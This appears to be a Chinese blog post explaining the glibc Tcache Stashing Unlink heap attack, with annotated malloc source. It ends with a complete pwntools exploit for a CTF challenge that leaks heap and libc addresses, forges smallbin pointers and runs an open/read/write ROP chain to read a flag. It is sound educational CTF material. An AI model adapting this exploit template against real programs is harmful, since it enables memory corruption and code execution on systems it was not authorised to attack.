Tcache Stashing Unlink Attack利用

这种利用方法类似于house of lore,总结一下,留个模板以后备用

0x01 前置知识

1.1 house of lore

攻击效果

分配任意指定位置的 chunk,从而修改任意地址的内存。(任意地址写)

攻击条件

能控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。

攻击原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 /*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
// 获取 small bin 的索引
bin = bin_at (av, idx);
// 先执行 victim = last(bin),获取 small bin 的最后一个 chunk
// 若结果 victim = bin ,那说明该 bin 为空。
if ( ( victim = last (bin) ) != bin )
{
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset (victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena)
set_non_main_arena (victim);
//执行更为细致的检查
check_malloced_chunk (av, victim, nb);

首先smallbin 如果 malloc的话,chunk是从链表尾部取的。如果free的话,chunk是添加到链表头部的(靠近bin的位置)。

现在small bin中有两个chunk

1
2
3
4
5
6
7
8
9
10
                        fd
|-----------------------------------------|
↓ fd fd |
|--------|--------->|---------|--------->|----------|
|smallbin| | chunk1 | | chunk2 |
|--------|<---------|---------|<---------|----------|
| bk bk ↑
| |
|----------------------------------------|
bk

现在我们将 chunk2的 bk修改掉,fd不变

然后让fake_chunk的fd指向chunk2…..

1
2
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double linked list corrupted");

然后就可以把这个fake_chunk放到samll bin上了

1
2
bin->bk = bck;
bck->fd = bin;

有一说一,这个条件还挺苛刻的

1.1 攻击目标

  1. 向任意指定位置写入指定值。
  2. 向任意地址分配一个Chunk。

1.2 攻击前提

  1. 能控制 Small Bin Chunk 的 bk 指针。
  2. 程序可以越过Tache取Chunk。(使用calloc即可做到)
  3. 程序至少可以分配两种不同大小且大小为unsorted bin的Chunk

1.3 攻击原理

我们首先分析House of Lore Attack中所忽视的Tcache相关代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#if USE_TCACHE //如果程序启用了Tcache
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
//遍历整个smallbin,获取相同size的free chunk
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
//判定Tcache的size链表是否已满,并且取出smallbin的末尾Chunk。
//验证取出的Chunk是否为Bin本身(Smallbin是否已空)
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
//如果成功获取了Chunk
if (tc_victim != 0)
{
// 获取 small bin 中倒数第二个 chunk 。
bck = tc_victim->bk;
//设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena)
set_non_main_arena (tc_victim);
//取出最后一个Chunk
bin->bk = bck;
bck->fd = bin;
//将其放入到Tcache中
tcache_put (tc_victim, tc_idx);
}
}
}
#endif

其实发现一个很明显的地方,注意他把剩下的small_bin放入tcache的操作没有做任何的检查。

但是此处又有了矛盾的地方!

首先,在引入Tcache后,Tcache中的Chunk拥有绝对优先权,我们不能越过Tcache向SmallBin中填入Chunk,也不能越过Tcache从SmallBin中取出Chunk。(除非Tcache已经处于FULL状态)

然后,我们如果要在这里启动攻击,那么要求SmallBin中至少有两个Chunk(否则无法进入While中的if语句块),同时要求Tcache处于非空状态。

那样就产生了矛盾,导致这个漏洞看似无法利用。

但是calloc函数有一个很有趣的特性,它不会从TcacheChunk,因此可以越过第一条矛盾“不能越过TcacheSmallBin中取出Chunk”。

然后是Unsorted Binlast remainder基址,当申请的Chunk大于Unsorted Bin中Chunk的大小且其为Unsorted Bin中的唯一Chunk时,该Chunk不会进入Tcache

那么,再看这个图

1
2
3
4
5
6
7
8
9
10
                        fd
|-----------------------------------------|
↓ fd fd |
|--------|--------->|---------|--------->|----------|
|smallbin| | chunk1 | | chunk2 |
|--------|<---------|---------|<---------|----------|
| bk bk ↑
| |
|----------------------------------------|
bk

如果我们把chunk1的bk改掉,fd不变

fd不变就可以绕过第一个完整链的检查,并且可以通过解链操作向fake_chunk+0x10的位置写入一个很大的值

1
bck->fd = bin;

那么,当Tcache存在两个以上的空位时,程序会将我们的fake chunk置入Tcache。

0x03 例题 BUUOJ-2020 新春红包题-3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
sh = process('./pwn')
#context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

def add(idx, size_choice, content):
sh.recvuntil('Your input: ')
sh.sendline('1')
sh.recvuntil('Please input the red packet idx: ')
sh.sendline(str(idx))
sh.recvuntil('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
sh.sendline(str(size_choice))
sh.recvuntil('Please input content: ')
sh.send(content)

def remove(idx):
sh.recvuntil('Your input: ')
sh.sendline('2')
sh.recvuntil(': ')
sh.sendline(str(idx))

def edit(idx, content):
sh.recvuntil('Your input: ')
sh.sendline('3')
sh.recvuntil(': ')
sh.sendline(str(idx))
sh.recvuntil(': ')
sh.send(content)

def show(idx):
sh.recvuntil('Your input: ')
sh.sendline('4')
sh.recvuntil(': ')
sh.sendline(str(idx))

# 首先用calloc add delte同时操作,泄露出heap和libc基址
for i in range(7):
add(i, 4, 'a\n')
remove(i)

show(6)
heapbase = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x26c0
log.success('heapbase: ' + hex(heapbase))
# 在这里把对应大小(0x100)的tcache准备好(5个),虽然我这里写了6个,但其实要想任意地址分配的话是5个,不过我这里无所谓
for i in range(7,13):
add(i, 2, 'a\n')
remove(i)

add(14, 4, 'a\n')
add(15, 1, 'b\n')
remove(14)

show(14)
libcbase = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00'))- 0x3ebca0
log.success('libcbase: ' + hex(libcbase))
# 然后利用last_reminder的性质,如果malloc一个比它大的,就会把这个加入到smallbin种,构造出两个smallbin
add(15, 3, 'c\n')

remove(0)
add(16, 3, 'a\n')
add(1, 3, 'a\n')

payload = p64(heapbase + 0x37e0) + p64(heapbase+0x250+0x10+0x800-0x10)
edit(0,'a'*0x300+p64(0) +p64(0x101) +payload)

pop_rdi_ret = libcbase + 0x000000000002155f
pop_rdx_rsi_ret = libcbase + 0x00000000001306d9

open_addr = libcbase + 0x10fc40
read_addr = libcbase + 0x110070
write_addr = libcbase + 0x110140
leave_ret = libcbase + 0x0000000000054803

flag_addr = heapbase+0x37f0

payload = ''
payload += './flag\x00\x00'
payload += p64(pop_rdi_ret)
payload += p64(flag_addr)
payload += p64(pop_rdx_rsi_ret)
payload += p64(0x20)
payload += p64(0)
payload += p64(open_addr)
payload += p64(pop_rdi_ret)
payload += p64(3)
payload += p64(pop_rdx_rsi_ret)
payload += p64(0x20)
payload += p64(flag_addr)
payload += p64(read_addr)
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rdx_rsi_ret)
payload += p64(0x20)
payload += p64(flag_addr)
payload += p64(write_addr)

# 最后利用后门函数有个栈溢出,因为开了沙箱逃逸,因此orw即可

add(2, 2, payload + '\n')


sh.recvuntil('input: ')
sh.sendline('666')

payload = 'a'*0x80 + p64(flag_addr) + p64(leave_ret)

sh.recvuntil('What do you want to say?')
#gdb.attach(sh)
sh.send(payload)



sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +